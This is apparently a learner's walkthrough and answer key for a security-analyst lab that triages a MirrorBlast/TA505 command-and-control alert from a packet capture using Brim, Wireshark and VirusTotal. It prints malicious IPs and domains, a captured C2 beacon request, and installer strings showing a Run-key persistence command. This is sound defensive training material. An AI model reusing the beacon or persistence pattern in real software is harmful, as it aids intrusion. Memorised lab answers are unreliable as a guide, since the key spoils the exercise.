You received an IDS/IPS alert. Time to triage the alert to determine if its a true positive.
Your shift just started and your first network alert comes in.
Start Machine
You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Today you're tasked with monitoring network alerts.
A few minutes into your shift, you get your first network case: Potentially Bad Traffic and Malware Command and Control Activity detected. Your race against the clock starts. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.
Deploy the machine attached to this task; it will be visible in the split-screen view once it is ready.
If you don't see a virtual machine load then click the Show Split View button.
Answer the questions below
search with brim (Suricata alerts by ubnet then filet = value)
so final filter will be 169.239.0.0/16
then the firt result
alert.signature
ET MALWARE MirrorBlast CnC Activity M3
src_ip
172.16.1.102
defanging ip 172[.]16[.]1[.]102
dest_ip
169.239.128.11
defanging ip 169[.]239[.]128[.]11
https://www.virustotal.com/gui/ip-address/169.239.128.11/relations
Date resolved
2021-11-12
Detections
14/Â 87
Resolver
VirusTotal
Domain
www.fidufagios.com
defanging url without subdomain
fidufagios[.]com
MirrorBlast TA505
Microsoft Themed TA505 malicious domains
TA505 Campaign
https://attack.mitre.org/groups/G0092/
https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/
https://www.virustotal.com/gui/domain/fidufagios.com/relations
Scanned
2023-04-05
Detections
32/Â 55
Type
Windows Installer
Name
malicious
using wireshark
filter: ip.dst == 169.239.128.11 && http
follow tcp stream
GET /r?x=bmFtZT1TVE9DS0lURk9SVVNcZHdpZ2h0Lm1vcmFsZXMmb3M9MTAuMCZhcmNoPXg4NiZidWlsZD0xLjAuMg== HTTP/1.0
Accept: */*
Connection: close
User-Agent: REBOL View 2.7.8.3.1
Host: fidufagios.com
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Tue, 05 Oct 2021 22:42:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
1|f327b5b7-65ea-4f57-b323-a278f1637fb8
User-Agent: REBOL View 2.7.8.3.1
search with brim queries http requests
id.orig_h
172.16.1.102
id.resp_h
192.36.27.92
id.resp_p
80
method
GET
host
192.36.27.92
uri
/10opd3r_load.msi
_uniq
1
172.16.1.102
id.resp_h
185.10.68.235
id.resp_p
80
method
GET
host
185.10.68.235
uri
/
_uniq
1
search 185.10.68.235
defanging ips 185[.]10[.]68[.]235,192[.]36[.]27[.]92
filename
filter.msi from 185.10.68.235
uri
/10opd3r_load.msi from 192.36.27.92
filter.msi,10opd3r_load.msi
using wireshark ip.dst == 185.10.68.235
follow tcp (stream 14)
Never null or empty.RegistryPrimary key, non-localized token.RootThe predefined root key for the registry value, one of rrkEnum.KeyRegPathThe key for the registry value.The registry value name.The registry value.Foreign key into the Component table referencing component that controls the installing of the registry value.RemoveFileFileKeyPrimary key used to identify a particular file entryForeign key referencing Component that controls the file to be removed.WildCardFilenameName of the file to be removed.DirPropertyName of a property whose value is assumed to resolve to the full pathname to the folder of the file to be removed.InstallMode1;2;3Installation option, one of iimEnum.CostInitializeFileCostCostFinalizeInstallValidateInstallInitializeInstallAdminPackageInstallFilesInstallFinalizeExecuteActionPublishFeaturesPublishProductComponent.CommonAppDataFolder{DEA88988-9EB8-4997-B469-14BBA2A13D95}CommonAppDataFolderComponent.INSTALLDIR{DEA88988-9EB8-4997-B469-14BB177F6F37}INSTALLDIRComponent.arab.bin{DEA88988-9EB8-4997-B469-14BB85EDB3C2}arab.binComponent.arab.exe{DEA88988-9EB8-4997-B469-14BBE3B5B3B3}arab.exeTempFolder.EmptyDirectory{DEA88988-9EB8-4997-B469-14BBAA73C431}TempFolderreg579EC8DF028069C30646A4022E297FB6TARGETDIR{DEA88988-9EB8-4997-B469-14BB57246387}Action1_arab.exeC:\ProgramData\001\arab.bin
C:\ProgramData\001\arab.bin,C:\ProgramData\001\arab.exe
using wireshark ip.dst == 169.239.128.11 && http
follow tcp (stream 17)
4
Never null or empty.RegistryPrimary key, non-localized token.RootThe predefined root key for the registry value, one of rrkEnum.KeyRegPathThe key for the registry value.The registry value name.The registry value.Foreign key into the Component table referencing component that controls the installing of the registry value.RemoveFileFileKeyPrimary key used to identify a particular file entryForeign key referencing Component that controls the file to be removed.WildCardFilenameName of the file to be removed.DirPropertyName of a property whose value is assumed to resolve to the full pathname to the folder of the file to be removed.InstallMode1;2;3Installation option, one of iimEnum.CostInitializeFileCostCostFinalizeInstallValidateInstallInitializeInstallAdminPackageInstallFilesInstallFinalizeExecuteActionPublishFeaturesPublishProductComponent.CommonAppDataFolder{7DAD0B07-2406-4203-AE21-B3164EF4C02F}CommonAppDataFolderComponent.Local{7DAD0B07-2406-4203-AE21-B316AC8C445A}CommonAppDataFolder.LocalComponent.INSTALLDIR{7DAD0B07-2406-4203-AE21-B316C3D2F2D1}INSTALLDIRComponent.exemple.rb{7DAD0B07-2406-4203-AE21-B3165A3BDAD7}exemple.rbComponent.rebol_view_278_3_1.exe{7DAD0B07-2406-4203-AE21-B316DBE7EA0A}rebol_view_278_3_1.exeRegistry1{7DAD0B07-2406-4203-AE21-B3168DB34436}Registry2{7DAD0B07-2406-4203-AE21-B3168DB34439}Google__ChromeTempFolder.EmptyDirectory{7DAD0B07-2406-4203-AE21-B31656C647CB}TempFolderreg579EC8DF028069C30646A4022E297FB6TARGETDIR{7DAD0B07-2406-4203-AE21-B3160377E621}Action1_rebol_view_278_3_1.exe-w -i -s C:/ProgramData/Local/Google/exemple.rbGoogleLocalyhcj5x6n|CommonAppDataFoldert19mu-pt|TempFolderSourceDirPackage38yhbxk2.exe|rebol-view-278-3-1.exe2.7.8.31033ValidateProductIDProcessComponentsUnpublishFeaturesRemoveRegistryValuesRemoveFilesRemoveFoldersCreateFoldersWriteRegistryValues(NOT Installed)#Google_Chrome.cabManufacturerProductCode{7DAD0B07-2406-4203-AE21-B31650B1B6AE}ProductLanguageProductNameGoogle ChromeProductVersion92.0.4515UpgradeCode{A2F91B1E-5C5B-4BBC-85F0-16F8CCAD5E7E}RegValueSoftware\Microsoft\Windows\CurrentVersion\RunGoogle ChromeC:\ProgramData\Local\Google\rebol-view-278-3-1.exe -w -i -s C:\ProgramData\Local\Google\exemple.rbSoftware\WixSharp\Used0
C:\ProgramData\Local\Google\rebol-view-278-3-1.exe,C:\ProgramData\Local\Google\exemple.rb
What was the alert signature for Malware Command and Control Activity Detected?
Brim
ET MALWARE MirrorBlast CnC Activity M3
What is the source IP address? Enter your answer in a defanged format.
Cyberchef can defang.
*172[.]16[.]1[.]102*
What IP address was the destination IP in the alert? Enter your answer in a defanged format.
Cyberchef can defang.
*169[.]239[.]128[.]11*
Inspect the IP address in VirsusTotal. Under Relations > Passive DNS Replication, which domain has the most detections? Enter your answer in a defanged format.
Ensure you use VirusTotal’s Search, not the URL Search.
*fidufagios[.]com*
Still in VirusTotal, under Community, what threat group is attributed to this IP address?
TA505
What is the malware family?
MirrorBlast
Do a search in VirusTotal for the domain from question 4. What was the majority file type listed under Communicating Files?
Check Relations
Windows Installer
Inspect the web traffic for the flagged IP address; what is the user-agent in the traffic?
REBOL View 2.7.8.3.1
Retrace the attack; there were multiple IP addresses associated with this attack. What were two other IP addresses? Enter the IP addressed defanged and in numerical order. (format: IPADDR,IPADDR)
Brim (HTTP logs) & VT (Community tab) can help you here. Cyberchef can defang.
*185[.]10[.]68[.]235,192[.]36[.]27[.]92*
What were the file names of the downloaded files? Enter the answer in the order to the IP addresses from the previous question. (format: file.xyz,file.xyz)
The first character in the second filename is not a lowercase or uppercase "L".
filter.msi,10opd3r_load.msi
Inspect the traffic for the first downloaded file from the previous question. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\path\file.xyz,C:\path\file.xyz)
Inspect the streams.
*C:\ProgramData\001\arab.bin,C:\ProgramData\001\arab.exe*
Now do the same and inspect the traffic from the second downloaded file. Two files will be saved to the same directory. What is the full file path of the directory and the name of the two files? (format: C:\path\file.xyz,C:\path\file.xyz)
